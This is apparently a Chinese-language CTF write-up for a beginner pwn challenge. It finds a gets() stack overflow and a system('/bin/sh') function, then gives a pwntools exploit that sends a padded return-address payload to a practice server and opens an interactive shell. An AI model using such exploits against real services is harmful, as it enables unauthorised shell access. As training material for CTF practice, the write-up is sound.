打开虚拟机,checksec,查看文件基本信息
64位,小端序
拖入相应ida,查看伪代码.
在fun函数里看到了这个(通过字符串也可以转到这里)
system("/bin/sh")这个函数可以帮助我们获取shell权限,他的地址
main函数里有一个gets函数,这个函数是不会限制输入的字符长度的,一般来说,这就是一个栈溢出的题目
编写一个exp的基本框架:
from pwn import *
DEBUG # 自己设定值 在本地调试还是远程利用 当然这只是一种相对规范的写法,不写也无所谓
if DEBUG:
r = process(bin路径) # 在本地调试
else:
r = remote(ip, port) # 连接其他主机的服务 需要输入对应的ip地址和端口号
… # 输入payload来进行操作以拿到程序的shell
r.interactive() # 反弹shell
操作步骤
打开虚拟机,最好创建一个专门的文件夹用来存放附件.
touch 文件名.py
写好后,python 文件名 运行
exp我也不太会写,纯复制=-=
64位,ebp是8,32位是ebp是4
写exp
from pwn import*
r=remote(‘node3.buuoj.cn’,26405)
shell_addr=0x401186
payload=‘a’*(0xF+8)+p64(0x401198)+p64(shell_addr)
#payload=‘a’*15+p64(shell_addr)
r.sendline(payload)
r.interactive()